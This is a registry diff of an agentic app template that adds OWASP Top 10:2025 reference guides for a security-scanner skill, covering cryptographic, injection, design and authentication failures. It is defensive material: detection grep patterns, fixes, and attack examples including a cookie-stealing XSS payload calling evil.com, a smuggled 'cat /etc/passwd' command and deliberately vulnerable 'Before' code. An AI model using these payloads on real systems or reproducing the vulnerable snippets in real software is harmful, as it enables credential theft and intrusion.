create-agentic-app 1.1.55 → 1.1.57

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (49) hide show
  1. package/package.json +1 -1
  2. package/template/.agents/skills/security-scanner/SKILL.md +157 -0
  3. package/template/.agents/skills/security-scanner/references/A01-broken-access-control.md +136 -0
  4. package/template/.agents/skills/security-scanner/references/A02-security-misconfiguration.md +130 -0
  5. package/template/.agents/skills/security-scanner/references/A03-software-supply-chain-failures.md +117 -0
  6. package/template/.agents/skills/security-scanner/references/A04-cryptographic-failures.md +141 -0
  7. package/template/.agents/skills/security-scanner/references/A05-injection.md +155 -0
  8. package/template/.agents/skills/security-scanner/references/A06-insecure-design.md +145 -0
  9. package/template/.agents/skills/security-scanner/references/A07-authentication-failures.md +150 -0
  10. package/template/.agents/skills/security-scanner/references/A08-software-data-integrity-failures.md +132 -0
  11. package/template/.agents/skills/security-scanner/references/A09-security-logging-alerting-failures.md +130 -0
  12. package/template/.agents/skills/security-scanner/references/A10-mishandling-exceptional-conditions.md +154 -0
  13. package/template/.agents/skills/security-scanner/references/report-template.md +148 -0
  14. package/template/.claude/agents/security-scanner.md +214 -0
  15. package/template/.claude/skills/security-scanner/SKILL.md +157 -0
  16. package/template/.claude/skills/security-scanner/references/A01-broken-access-control.md +136 -0
  17. package/template/.claude/skills/security-scanner/references/A02-security-misconfiguration.md +130 -0
  18. package/template/.claude/skills/security-scanner/references/A03-software-supply-chain-failures.md +117 -0
  19. package/template/.claude/skills/security-scanner/references/A04-cryptographic-failures.md +141 -0
  20. package/template/.claude/skills/security-scanner/references/A05-injection.md +155 -0
  21. package/template/.claude/skills/security-scanner/references/A06-insecure-design.md +145 -0
  22. package/template/.claude/skills/security-scanner/references/A07-authentication-failures.md +150 -0
  23. package/template/.claude/skills/security-scanner/references/A08-software-data-integrity-failures.md +132 -0
  24. package/template/.claude/skills/security-scanner/references/A09-security-logging-alerting-failures.md +130 -0
  25. package/template/.claude/skills/security-scanner/references/A10-mishandling-exceptional-conditions.md +154 -0
  26. package/template/.claude/skills/security-scanner/references/report-template.md +148 -0
  27. package/template/AGENTS.md +40 -0
  28. package/template/next-env.d.ts +1 -1
  29. package/template/specs/ui-polish-responsive/README.md +59 -0
  30. package/template/specs/ui-polish-responsive/action-required.md +3 -0
  31. package/template/specs/ui-polish-responsive/requirements.md +53 -0
  32. package/template/specs/ui-polish-responsive/tasks/task-01-globals-css.md +144 -0
  33. package/template/specs/ui-polish-responsive/tasks/task-02-layout.md +66 -0
  34. package/template/specs/ui-polish-responsive/tasks/task-03-site-header.md +79 -0
  35. package/template/specs/ui-polish-responsive/tasks/task-04-site-footer.md +63 -0
  36. package/template/specs/ui-polish-responsive/tasks/task-05-home-page.md +215 -0
  37. package/template/specs/ui-polish-responsive/tasks/task-06-dashboard.md +222 -0
  38. package/template/specs/ui-polish-responsive/tasks/task-07-chat-page.md +225 -0
  39. package/template/specs/ui-polish-responsive/tasks/task-08-profile-page.md +192 -0
  40. package/template/specs/ui-polish-responsive/tasks/task-09-auth-pages.md +97 -0
  41. package/template/specs/ui-polish-responsive/tasks/task-10-setup-checklist.md +120 -0
  42. package/template/specs/ui-polish-responsive/tasks/task-11-starter-prompt-modal.md +87 -0
  43. package/template/src/app/globals.css +65 -7
  44. package/template/src/app/layout.tsx +2 -2
  45. package/template/src/app/page.tsx +174 -174
  46. package/template/src/components/setup-checklist.tsx +162 -162
  47. package/template/src/components/site-footer.tsx +2 -2
  48. package/template/src/components/site-header.tsx +3 -3
  49. package/template/src/components/starter-prompt-modal.tsx +202 -202
@@ -0,0 +1,141 @@
1
+ # A04:2025 — Cryptographic Failures
2
+
3
+ ## Overview
4
+
5
+ Cryptographic Failures is #4 in OWASP Top 10:2025 (down from #2). It covers failures related to lack of cryptography, insufficiently strong cryptography, leaking of cryptographic keys, and related errors. 32 CWEs mapped, 1,665,348 total occurrences, 2,185 CVEs.
6
+
7
+ ## Key CWEs
8
+
9
+ - **CWE-261**: Weak Encoding for Password
10
+ - **CWE-319**: Cleartext Transmission of Sensitive Information
11
+ - **CWE-321**: Use of Hard-coded Cryptographic Key
12
+ - **CWE-326**: Inadequate Encryption Strength
13
+ - **CWE-327**: Use of Broken or Risky Cryptographic Algorithm
14
+ - **CWE-328**: Reversible One-Way Hash
15
+ - **CWE-330**: Use of Insufficiently Random Values
16
+ - **CWE-338**: Use of Cryptographically Weak PRNG
17
+ - **CWE-759**: Use of One-Way Hash Without a Salt
18
+ - **CWE-916**: Use of Password Hash With Insufficient Computational Effort
19
+
20
+ ## What to Look For
21
+
22
+ ### General Patterns
23
+ - Weak hashing algorithms used for passwords (MD5, SHA1, SHA256 without key stretching)
24
+ - Missing salt in password hashing
25
+ - Hardcoded cryptographic keys, secrets, or API keys in source code
26
+ - Sensitive data transmitted without encryption (HTTP, FTP, SMTP)
27
+ - Weak random number generation for security tokens (Math.random, rand())
28
+ - Cookies missing `Secure` flag (sent over HTTP)
29
+ - Sensitive data in logs (passwords, tokens, credit cards, PII)
30
+ - Base64 encoding used as "encryption" for tokens or secrets
31
+ - Deprecated crypto algorithms (DES, 3DES, RC4, MD5, SHA1)
32
+ - Missing HSTS headers
33
+ - Hardcoded IVs or nonces in encryption
34
+
35
+ ### Grep Patterns
36
+
37
+ ```
38
+ # Weak hashing
39
+ createHash\(['"]md5['"]\)|createHash\(['"]sha1['"]\)
40
+ hashlib\.md5|hashlib\.sha1
41
+ MessageDigest\.getInstance\(['"]MD5['"]\)|MessageDigest\.getInstance\(['"]SHA-1['"]\)
42
+ md5\(|sha1\(
43
+
44
+ # Weak randomness
45
+ Math\.random|random\.random|rand\(\)|Random\(\)
46
+ uuid.*v1|Date\.now
47
+
48
+ # Hardcoded secrets/keys
49
+ SECRET.*=\s*['"][^'"]{8,}|KEY.*=\s*['"][^'"]{8,}|PASSWORD.*=\s*['"][^'"]{4,}
50
+ private.?key|secret.?key|api.?key|access.?token
51
+
52
+ # Base64 as "encryption"
53
+ Buffer\.from.*base64|btoa\(|atob\(
54
+ base64\.encode|base64\.decode
55
+
56
+ # Cookie security flags
57
+ httpOnly\s*:\s*false|secure\s*:\s*false|sameSite.*none
58
+ Set-Cookie(?!.*Secure)(?!.*HttpOnly)
59
+
60
+ # Cleartext protocols
61
+ http:\/\/(?!localhost)|ftp:\/\/|smtp:\/\/
62
+ ```
63
+
64
+ ### JavaScript / TypeScript / Node.js
65
+ - `crypto.createHash('md5')` or `crypto.createHash('sha1')` for password hashing
66
+ - `Math.random()` used for tokens, session IDs, or reset codes
67
+ - `Buffer.from(data).toString('base64')` used as a "token" (trivially decodable)
68
+ - Session cookies set without `httpOnly: true`, `secure: true`, `sameSite: 'strict'`
69
+ - JWT secrets hardcoded in source files
70
+ - Missing `bcrypt`, `argon2`, or `scrypt` for password hashing
71
+
72
+ ### Python
73
+ - `hashlib.md5()` or `hashlib.sha1()` for passwords
74
+ - `random.random()` or `random.randint()` for security tokens (should use `secrets` module)
75
+ - `base64.b64encode()` used as encryption
76
+
77
+ ### Java
78
+ - `MessageDigest.getInstance("MD5")` or `MessageDigest.getInstance("SHA-1")`
79
+ - `java.util.Random` instead of `java.security.SecureRandom`
80
+ - Hardcoded keys in `KeySpec` constructors
81
+
82
+ ## Prevention Measures
83
+
84
+ 1. Classify data and identify what needs encryption per privacy laws and regulations
85
+ 2. Don't store sensitive data unnecessarily — data not retained cannot be stolen
86
+ 3. Encrypt all sensitive data at rest using strong algorithms (AES-256)
87
+ 4. Use TLS 1.2+ for all data in transit; enforce with HSTS
88
+ 5. Store passwords with strong adaptive hashing: Argon2, scrypt, bcrypt, or PBKDF2
89
+ 6. Always use salts and appropriate work factors
90
+ 7. Use CSPRNG for all security-sensitive random values
91
+ 8. Never reuse IVs/nonces with the same key
92
+ 9. Use authenticated encryption (GCM mode, not ECB/CBC)
93
+ 10. Rotate cryptographic keys regularly
94
+ 11. Disable caching for responses containing sensitive data
95
+
96
+ ## Example Attack Scenarios
97
+
98
+ **Scenario 1 — Weak Password Hashing:**
99
+ Password database uses unsalted MD5. Attacker retrieves database via another vulnerability, cracks all passwords via rainbow tables in minutes.
100
+
101
+ **Scenario 2 — Predictable Tokens:**
102
+ Password reset tokens generated with `Math.random()`. Attacker predicts tokens and resets other users' passwords.
103
+
104
+ ## Fix Examples
105
+
106
+ **Before (MD5 password hashing):**
107
+ ```typescript
108
+ import crypto from 'crypto';
109
+ function hashPassword(password: string) {
110
+ return crypto.createHash('md5').update(password).digest('hex');
111
+ }
112
+ ```
113
+
114
+ **After (bcrypt with salt):**
115
+ ```typescript
116
+ import bcrypt from 'bcrypt';
117
+ async function hashPassword(password: string) {
118
+ return bcrypt.hash(password, 12);
119
+ }
120
+ async function verifyPassword(password: string, hash: string) {
121
+ return bcrypt.compare(password, hash);
122
+ }
123
+ ```
124
+
125
+ **Before (predictable token):**
126
+ ```typescript
127
+ const resetToken = Math.random().toString(36).substring(2);
128
+ ```
129
+
130
+ **After (cryptographically secure token):**
131
+ ```typescript
132
+ import crypto from 'crypto';
133
+ const resetToken = crypto.randomBytes(32).toString('hex');
134
+ ```
135
+
136
+ ## References
137
+
138
+ - [OWASP A04:2025](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/)
139
+ - OWASP Cheat Sheet: Password Storage
140
+ - OWASP Cheat Sheet: Cryptographic Storage
141
+ - OWASP Cheat Sheet: Transport Layer Protection
@@ -0,0 +1,155 @@
1
+ # A05:2025 — Injection
2
+
3
+ ## Overview
4
+
5
+ Injection is #5 in OWASP Top 10:2025 (down from #3). 100% of applications were tested for injection, and the category holds the highest CVE count at 62,445 across 37 CWEs. Injection occurs when untrusted user input is sent to an interpreter and executed as commands — including SQL, NoSQL, OS command, ORM, LDAP, and Expression Language injection. Cross-Site Scripting (XSS) is included in this category.
6
+
7
+ ## Key CWEs
8
+
9
+ - **CWE-79**: Cross-site Scripting (XSS) — 30,000+ CVEs
10
+ - **CWE-89**: SQL Injection — 14,000+ CVEs
11
+ - **CWE-78**: OS Command Injection
12
+ - **CWE-20**: Improper Input Validation
13
+ - **CWE-94**: Improper Control of Generation of Code (Code Injection)
14
+ - **CWE-77**: Command Injection
15
+ - **CWE-74**: Injection (general)
16
+ - **CWE-917**: Expression Language Injection
17
+ - **CWE-1336**: Template Injection
18
+
19
+ ## What to Look For
20
+
21
+ ### SQL Injection
22
+ - String concatenation in SQL queries (instead of parameterized queries)
23
+ - Template literals embedding user input directly into SQL
24
+ - ORM methods with raw query options using unsanitized input
25
+ - Dynamic table/column names from user input
26
+
27
+ ### Command Injection
28
+ - `exec()`, `spawn()`, `system()`, `popen()` with user-controlled arguments
29
+ - Shell command strings built with user input concatenation
30
+ - `child_process` usage with unsanitized input
31
+
32
+ ### Cross-Site Scripting (XSS)
33
+ - `dangerouslySetInnerHTML` in React without sanitization
34
+ - `innerHTML`, `outerHTML`, `document.write()` with user data
35
+ - Template rendering of unsanitized user input
36
+ - URL parameters reflected into HTML without encoding
37
+
38
+ ### Code Injection
39
+ - `eval()` with user-controlled input
40
+ - `Function()` constructor with user input
41
+ - `setTimeout`/`setInterval` with string arguments from user input
42
+ - Dynamic `import()` with user-controlled paths
43
+
44
+ ### Server-Side Request Forgery (SSRF)
45
+ - HTTP requests where the URL is user-controlled
46
+ - URL parsing/fetching endpoints without allowlist validation
47
+ - Image/preview/proxy endpoints fetching arbitrary URLs
48
+
49
+ ### Grep Patterns
50
+
51
+ ```
52
+ # SQL injection
53
+ \+.*['"].*SELECT|SELECT.*\+.*req\.|SELECT.*\$\{|SELECT.*%s
54
+ \.query\(.*\+|\.execute\(.*\+|\.raw\(.*\+
55
+ f"SELECT|f"INSERT|f"UPDATE|f"DELETE
56
+
57
+ # Command injection
58
+ exec\(|execSync\(|spawn\(|spawnSync\(
59
+ child_process|subprocess|os\.system|os\.popen
60
+ Runtime\.getRuntime\(\)\.exec
61
+
62
+ # XSS
63
+ dangerouslySetInnerHTML|innerHTML|outerHTML|document\.write
64
+ v-html|ng-bind-html|\{\{\{.*\}\}\}
65
+
66
+ # Code injection
67
+ eval\(|Function\(|new Function|setTimeout\(.*req|setInterval\(.*req
68
+
69
+ # SSRF
70
+ fetch\(.*req\.|axios\(.*req\.|http\.get\(.*req\.|urllib.*req\.
71
+ request\.get\(.*user|requests\.get\(.*param
72
+ ```
73
+
74
+ ### JavaScript / TypeScript / Node.js
75
+ - Template literals in SQL: `` `SELECT * FROM users WHERE id = ${req.params.id}` ``
76
+ - `exec(command)` where command includes user input
77
+ - `dangerouslySetInnerHTML={{ __html: userContent }}`
78
+ - `eval(req.body.code)` or similar
79
+ - `fetch(req.query.url)` in preview/proxy endpoints
80
+
81
+ ### Python (Django/Flask)
82
+ - `cursor.execute(f"SELECT ... {user_input}")` — use parameterized queries
83
+ - `os.system(f"command {user_input}")` — use subprocess with shell=False
84
+ - `eval(request.data)` or `exec(request.data)`
85
+ - Jinja2 `|safe` filter on user input
86
+
87
+ ### Java (Spring)
88
+ - `Statement.executeQuery()` with concatenated SQL (use `PreparedStatement`)
89
+ - `Runtime.getRuntime().exec()` with user input
90
+ - JSP `<%= request.getParameter() %>` without encoding
91
+
92
+ ## Prevention Measures
93
+
94
+ 1. Use parameterized queries / prepared statements for ALL database access
95
+ 2. Use safe APIs that avoid the interpreter entirely
96
+ 3. Implement positive server-side input validation (allowlists)
97
+ 4. Escape special characters using interpreter-specific syntax
98
+ 5. Use LIMIT and other SQL controls to prevent mass disclosure
99
+ 6. For XSS: use framework auto-escaping, CSP headers, sanitize HTML (DOMPurify)
100
+ 7. For command injection: avoid shell execution entirely; use library functions
101
+ 8. For SSRF: validate and allowlist URLs; block internal network ranges
102
+
103
+ ## Example Attack Scenarios
104
+
105
+ **Scenario 1 — SQL Injection:**
106
+ ```
107
+ https://example.com/search?q=' OR '1'='1
108
+ ```
109
+ Query becomes: `SELECT * FROM items WHERE name = '' OR '1'='1'` — returns all records.
110
+
111
+ **Scenario 2 — Command Injection:**
112
+ ```
113
+ https://example.com/export?file=report;cat /etc/passwd
114
+ ```
115
+ Server executes: `convert report;cat /etc/passwd` — leaks system files.
116
+
117
+ **Scenario 3 — XSS:**
118
+ User stores `<script>document.location='https://evil.com/steal?c='+document.cookie</script>` as content, which executes in other users' browsers.
119
+
120
+ ## Fix Examples
121
+
122
+ **Before (SQL injection):**
123
+ ```typescript
124
+ const query = `SELECT * FROM notes WHERE title LIKE '%${searchTerm}%'`;
125
+ const results = db.all(query);
126
+ ```
127
+
128
+ **After (parameterized query):**
129
+ ```typescript
130
+ const results = db.all(
131
+ 'SELECT * FROM notes WHERE title LIKE ?',
132
+ [`%${searchTerm}%`]
133
+ );
134
+ ```
135
+
136
+ **Before (command injection):**
137
+ ```typescript
138
+ const { exec } = require('child_process');
139
+ exec(`convert ${req.query.filename} output.pdf`);
140
+ ```
141
+
142
+ **After (safe alternative):**
143
+ ```typescript
144
+ const { execFile } = require('child_process');
145
+ const safeName = path.basename(req.query.filename);
146
+ execFile('convert', [safeName, 'output.pdf']);
147
+ ```
148
+
149
+ ## References
150
+
151
+ - [OWASP A05:2025](https://owasp.org/Top10/2025/A05_2025-Injection/)
152
+ - OWASP Cheat Sheet: Injection Prevention
153
+ - OWASP Cheat Sheet: SQL Injection Prevention
154
+ - OWASP Cheat Sheet: Query Parameterization
155
+ - OWASP Cheat Sheet: XSS Prevention
@@ -0,0 +1,145 @@
1
+ # A06:2025 — Insecure Design
2
+
3
+ ## Overview
4
+
5
+ Insecure Design is #6 in OWASP Top 10:2025. This category focuses on architectural and design flaws — not implementation bugs. "A secure design can still have implementation defects, but an insecure design cannot be fixed by a perfect implementation." It encompasses 39 CWEs with 729,882 total occurrences. The focus is on missing or ineffective control design around requirements, secure design methodology, and secure development lifecycle.
6
+
7
+ ## Key CWEs
8
+
9
+ - **CWE-256**: Unprotected Storage of Credentials
10
+ - **CWE-269**: Improper Privilege Management
11
+ - **CWE-434**: Unrestricted Upload of File with Dangerous Type
12
+ - **CWE-501**: Trust Boundary Violation
13
+ - **CWE-522**: Insufficiently Protected Credentials
14
+ - **CWE-657**: Violation of Secure Design Principles
15
+ - **CWE-799**: Improper Control of Interaction Frequency
16
+ - **CWE-807**: Reliance on Untrusted Inputs in Security Decisions
17
+
18
+ ## What to Look For
19
+
20
+ ### General Patterns
21
+ - Missing rate limiting on sensitive endpoints (login, registration, password reset, OTP verification)
22
+ - No input validation or schema validation on API endpoints
23
+ - Business logic flaws (no password complexity requirements, unlimited retries)
24
+ - Missing account lockout mechanisms after failed login attempts
25
+ - Lack of defense in depth (single layer of protection)
26
+ - Reset/verification tokens that are guessable, short, or never expire
27
+ - Missing CAPTCHA or bot protection on public-facing forms
28
+ - Unrestricted file upload (no type/size validation)
29
+ - Security decisions based on client-side data
30
+ - Missing tenant isolation in multi-tenant applications
31
+ - No threat modeling evidence (design assumes trusted users)
32
+
33
+ ### Grep Patterns
34
+
35
+ ```
36
+ # Missing rate limiting
37
+ rateLimit|rate.?limit|throttle|express-rate-limit|slowDown
38
+ login|signin|sign-in|authenticate|register|signup|sign-up
39
+ reset.*password|forgot.*password|verify.*otp|verify.*code
40
+
41
+ # Missing input validation
42
+ body\.|req\.body\.|request\.body
43
+ zod|yup|joi|ajv|validate|validator|schema
44
+ express-validator|class-validator
45
+
46
+ # Password policy
47
+ password.*length|minLength|maxLength|complexity|strength
48
+ passwordPolicy|password.*requirements
49
+
50
+ # File upload without validation
51
+ multer|formidable|busboy|upload
52
+ fileFilter|allowedTypes|mimeType|fileSize|maxSize
53
+
54
+ # Token expiration
55
+ expires|expiry|expiration|ttl|maxAge
56
+ resetToken|verificationToken|otpExpiry
57
+
58
+ # Account lockout
59
+ lockout|maxAttempts|failedAttempts|loginAttempts|accountLock
60
+ ```
61
+
62
+ ### JavaScript / TypeScript / Node.js
63
+ - Express/Next.js API routes without `express-rate-limit` or equivalent middleware
64
+ - Login/register endpoints accepting any password (no length/complexity check)
65
+ - Password reset tokens using short numeric codes without expiration
66
+ - File uploads via `multer` without `fileFilter` or size limits
67
+ - Missing input validation — `req.body` used directly without Zod/Joi/Yup schema
68
+
69
+ ### Python (Django/Flask)
70
+ - Views without `@ratelimit` decorator on auth endpoints
71
+ - Missing `AUTH_PASSWORD_VALIDATORS` in Django settings
72
+ - File uploads without `ALLOWED_EXTENSIONS` check
73
+ - No `django-axes` or equivalent brute-force protection
74
+
75
+ ### Java (Spring)
76
+ - Missing `@RateLimiter` on authentication controllers
77
+ - No password policy configuration in `SecurityConfig`
78
+ - `MultipartFile` accepted without content type validation
79
+
80
+ ## Prevention Measures
81
+
82
+ 1. Establish a secure development lifecycle with AppSec professionals
83
+ 2. Build and maintain libraries of secure design patterns and components
84
+ 3. Use threat modeling for critical authentication, access control, and business logic
85
+ 4. Integrate security requirements into user stories
86
+ 5. Write unit and integration tests that validate threat resistance
87
+ 6. Implement rate limiting on all sensitive endpoints
88
+ 7. Enforce input validation at every tier (client, API, database)
89
+ 8. Segregate system layers based on exposure and protection needs
90
+ 9. Implement robust multi-tenant isolation across all tiers
91
+
92
+ ## Example Attack Scenarios
93
+
94
+ **Scenario 1:** Recovery workflows using knowledge-based questions ("security questions") — multiple people can know the answers, violating NIST 800-63b.
95
+
96
+ **Scenario 2:** Cinema booking system allows unlimited group discount reservations without deposit or rate limiting — attacker books hundreds of seats, causing revenue loss.
97
+
98
+ **Scenario 3:** E-commerce platform lacks bot protection — scalpers buy all limited inventory in seconds using automated tools.
99
+
100
+ ## Fix Examples
101
+
102
+ **Before (no rate limiting on login):**
103
+ ```typescript
104
+ export async function POST(req) {
105
+ const { email, password } = await req.json();
106
+ const user = await db.get('SELECT * FROM users WHERE email = ?', email);
107
+ // ... verify password and return token
108
+ }
109
+ ```
110
+
111
+ **After (with rate limiting):**
112
+ ```typescript
113
+ import rateLimit from 'express-rate-limit';
114
+
115
+ const loginLimiter = rateLimit({
116
+ windowMs: 15 * 60 * 1000, // 15 minutes
117
+ max: 5, // 5 attempts per window
118
+ message: { error: 'Too many login attempts, please try again later' }
119
+ });
120
+
121
+ // Apply loginLimiter middleware to the login route
122
+ ```
123
+
124
+ **Before (no password policy):**
125
+ ```typescript
126
+ const { password } = await req.json();
127
+ const hash = await bcrypt.hash(password, 12);
128
+ ```
129
+
130
+ **After (with password policy):**
131
+ ```typescript
132
+ const { password } = await req.json();
133
+ if (password.length < 12) return Response.json({ error: 'Password must be at least 12 characters' }, { status: 400 });
134
+ if (!/[A-Z]/.test(password) || !/[0-9]/.test(password)) {
135
+ return Response.json({ error: 'Password must contain uppercase and numbers' }, { status: 400 });
136
+ }
137
+ const hash = await bcrypt.hash(password, 12);
138
+ ```
139
+
140
+ ## References
141
+
142
+ - [OWASP A06:2025](https://owasp.org/Top10/2025/A06_2025-Insecure_Design/)
143
+ - OWASP Secure Design Principles Cheat Sheet
144
+ - OWASP SAMM Design
145
+ - The Threat Modeling Manifesto
@@ -0,0 +1,150 @@
1
+ # A07:2025 — Authentication Failures
2
+
3
+ ## Overview
4
+
5
+ Authentication Failures is #7 in OWASP Top 10:2025. It encompasses 36 CWEs with 1,120,673 total occurrences and 7,147 CVEs. Authentication failures occur when systems incorrectly validate user identity, allowing attackers to compromise passwords, keys, session tokens, or exploit implementation flaws to assume other users' identities.
6
+
7
+ ## Key CWEs
8
+
9
+ - **CWE-259**: Use of Hard-coded Password
10
+ - **CWE-287**: Improper Authentication
11
+ - **CWE-297**: Improper Validation of Certificate with Host Mismatch
12
+ - **CWE-307**: Improper Restriction of Excessive Authentication Attempts
13
+ - **CWE-384**: Session Fixation
14
+ - **CWE-521**: Weak Password Requirements
15
+ - **CWE-613**: Insufficient Session Expiration
16
+ - **CWE-798**: Use of Hard-coded Credentials
17
+ - **CWE-640**: Weak Password Recovery Mechanism
18
+
19
+ ## What to Look For
20
+
21
+ ### General Patterns
22
+ - Weak session token generation (predictable, sequential, or base64-encoded user data)
23
+ - Sessions that never expire or have excessively long lifetimes
24
+ - Credentials appearing in URLs, logs, or error messages
25
+ - No password strength requirements
26
+ - Session cookies without `HttpOnly`, `Secure`, or `SameSite` flags
27
+ - User enumeration via different error responses (valid vs invalid username)
28
+ - Password reset tokens returned in API responses (should be sent via email/SMS only)
29
+ - Reset tokens that don't expire or can be reused
30
+ - Missing multi-factor authentication on critical operations
31
+ - Hard-coded credentials in source code
32
+ - Custom authentication instead of using established frameworks
33
+ - Sessions not invalidated on logout or password change
34
+
35
+ ### Grep Patterns
36
+
37
+ ```
38
+ # Session/token generation
39
+ session|sessionId|session_id|sessionToken
40
+ token.*=.*base64|token.*=.*encode|token.*=.*Math\.random
41
+ uuid.*v1|Date\.now.*toString
42
+
43
+ # Session cookie flags
44
+ httpOnly|HttpOnly|http_only
45
+ secure\s*:|Secure|secure.*false
46
+ sameSite|SameSite|same_site
47
+
48
+ # Session expiration
49
+ maxAge|max_age|expires|expiry|SESSION_LIFETIME
50
+ session.*timeout|session.*expire
51
+
52
+ # User enumeration
53
+ user.*not.*found|invalid.*user|no.*account|email.*not.*registered
54
+ incorrect.*password|wrong.*password|invalid.*credentials
55
+
56
+ # Password in logs/URLs
57
+ console\.log.*password|logger.*password|log.*password
58
+ password.*=.*req\.query|password.*=.*params
59
+
60
+ # Hard-coded credentials
61
+ password.*=.*['"][^'"]+['"]|credential.*=.*['"]
62
+ admin.*admin|root.*root|test.*test
63
+ DEFAULT_PASSWORD|ADMIN_PASSWORD
64
+
65
+ # Reset tokens
66
+ resetToken|reset_token|verification_token|verificationToken
67
+ token.*response|json.*token.*reset
68
+ ```
69
+
70
+ ### JavaScript / TypeScript / Node.js
71
+ - Session token built as `Buffer.from(userId + ':' + timestamp).toString('base64')` — trivially decodable
72
+ - `Math.random()` used for session or reset tokens
73
+ - Cookie set without `{ httpOnly: true, secure: true, sameSite: 'strict' }`
74
+ - Login endpoint returns different messages for "user not found" vs "wrong password"
75
+ - `console.log` including password or token values
76
+ - Reset token returned directly in JSON response body
77
+ - No session invalidation in logout handler
78
+
79
+ ### Python (Django/Flask)
80
+ - Custom session management instead of Django's built-in
81
+ - `SESSION_COOKIE_HTTPONLY = False` or `SESSION_COOKIE_SECURE = False`
82
+ - Different error messages for invalid username vs invalid password
83
+ - Flask `session.permanent = True` without `PERMANENT_SESSION_LIFETIME`
84
+
85
+ ### Java (Spring)
86
+ - `HttpSession` without timeout configuration
87
+ - Custom `AuthenticationProvider` without proper credential validation
88
+ - Missing `invalidateHttpSession(true)` in logout configuration
89
+ - `BCryptPasswordEncoder` with low strength parameter
90
+
91
+ ## Prevention Measures
92
+
93
+ 1. Implement multi-factor authentication to counter automated attacks
94
+ 2. Never ship with default or hard-coded credentials
95
+ 3. Validate passwords against breached credential databases (Have I Been Pwned)
96
+ 4. Follow NIST 800-63b guidelines for password policies
97
+ 5. Harden registration and login endpoints against enumeration and brute-force
98
+ 6. Use consistent, generic error messages ("Invalid credentials" for all auth failures)
99
+ 7. Rate-limit failed login attempts with logging and alerting
100
+ 8. Use secure, server-side session managers with high-entropy session IDs
101
+ 9. Set session cookies with `HttpOnly`, `Secure`, `SameSite=Strict`
102
+ 10. Invalidate sessions on logout and password change
103
+ 11. Use established authentication frameworks rather than building custom solutions
104
+ 12. Send reset tokens only via email/SMS — never return them in API responses
105
+
106
+ ## Example Attack Scenarios
107
+
108
+ **Scenario 1 — Credential Stuffing:** Attacker uses known username/password pairs from breaches, modified with predictable patterns (Winter2025 → Winter2026). Without brute-force protection, the app becomes a password oracle.
109
+
110
+ **Scenario 2 — Session Hijacking:** Session cookie set without `HttpOnly` flag. XSS vulnerability allows JavaScript to read `document.cookie` and send session token to attacker's server.
111
+
112
+ **Scenario 3 — Session Persistence:** User closes browser without explicit logout. Session is never invalidated server-side. Next user on shared device accesses the previous user's authenticated session.
113
+
114
+ ## Fix Examples
115
+
116
+ **Before (user enumeration):**
117
+ ```typescript
118
+ if (!user) return Response.json({ error: 'User not found' }, { status: 401 });
119
+ if (!validPassword) return Response.json({ error: 'Incorrect password' }, { status: 401 });
120
+ ```
121
+
122
+ **After (consistent error message):**
123
+ ```typescript
124
+ if (!user || !validPassword) {
125
+ return Response.json({ error: 'Invalid credentials' }, { status: 401 });
126
+ }
127
+ ```
128
+
129
+ **Before (insecure session cookie):**
130
+ ```typescript
131
+ response.cookies.set('session', token, { httpOnly: false, path: '/' });
132
+ ```
133
+
134
+ **After (secure session cookie):**
135
+ ```typescript
136
+ response.cookies.set('session', token, {
137
+ httpOnly: true,
138
+ secure: true,
139
+ sameSite: 'strict',
140
+ maxAge: 3600,
141
+ path: '/'
142
+ });
143
+ ```
144
+
145
+ ## References
146
+
147
+ - [OWASP A07:2025](https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/)
148
+ - OWASP Authentication Cheat Sheet
149
+ - OWASP Session Management Cheat Sheet
150
+ - NIST SP 800-63b Digital Identity Guidelines